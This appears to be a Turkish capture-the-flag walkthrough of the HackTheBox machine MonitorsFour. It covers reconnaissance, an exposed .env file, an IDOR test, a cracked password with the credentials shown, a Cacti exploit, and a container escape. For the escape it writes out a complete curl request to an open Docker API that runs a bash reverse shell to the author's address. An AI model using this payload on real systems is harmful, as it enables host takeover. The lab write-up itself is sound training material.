
                                        HTB MONITORSFOUR 

Herkese merhaba bugün hackthebox monitorsfour çözümünü 

yapacağız. 

Öncelikle bir nmap taramasıyla başlıyoruz. 

 

Bu kısımda öncelikle siteye girmeye çalışırken cacti login sayfası 

açılıyor ve o yüzden cacti.monitorsfour.htb şeklinde sudo nano ile hos 

ta ekleme yaptık bu adım önemli. 

Buradan açık portları görüyoruz wsmanı unutmuyoruz. Buradan ve 

web sitesinden daha fazla bilgi çıkmayınca bir dir taraması atıyoruz ve 

.env dizinini gidip tarayıcıya azıyoruz bize veri tabanı ile alakalı bilgiler 

veriyor. 



 

 

Web sayfasında yukarıda token parametresi görüyoruz yenileme 

yaparken ve bir idor testi uyguluyoruz. 

 



 

Buradaki şifreyi hemen crackstation dan çözüyoruz ve şifreyi alıyoruz. 

Buradan bilgilerimizi alıyoruz Marcus/wonderful1  

Bu bilgiler ile sayfaya girince cactinin versiyonunun 1.2.28 olduğunu 

görüyoruz ve bunun için bir zafiyet taraması yapıyoruz Google dan  

Sonucunda CVE-2025-24367 zafiyetimizi bulmuş olduk. 

Şimdi Shell alacağız. 

Exploitimizi ve dinleyicimizi ayarladıktan sonra Shell alıp user.txt mizi 

alıyoruz. 

 

Şimdi sırada privilage escalation kısmı var artık root olup root.txt yi 

alma peşindeyiz. Araştırma sonucu CVE-2025-9074 kullanacağımızı 

öğreniyoruz. Önce bir dinleyici açıyoruz kalide sonrasında Shell 

aldığımız kısımda  curl -X POST 

http://192.168.65.7:2375/containers/create \ 



-H "Content-Type: application/json" -d '{ 

"Image": "alpine", 

"HostConfig": { 

"Binds": ["/:/host"], 

"Privileged": true, 

"NetworkMode": "host" 

}, 

"Cmd": ["sh","-c","chroot /host /bin/bash -c \"bash -i >& 

/dev/tcp/10.10.15.40/9001 0>&1\""] 

}'    bu kodu çalıştırıyoruz ve bize bir id veriyor (Benim portum 9001 ve 

ip adresim 10.10.15.40 bunları değişmeyi unutmayın.) ve bu id ile ise 

curl -X POST http://192.168.65.7:2375/containers/sizin ID/start bu 

kodu çalıştırıp dinleyiciden root yetkisini alıyoruz. 

En sonunda doğru yolla root.txt yi de elimize alıyoruz. 

 

http://192.168.65.7:2375/containers/sizin%20ID/start


 

 

 

 


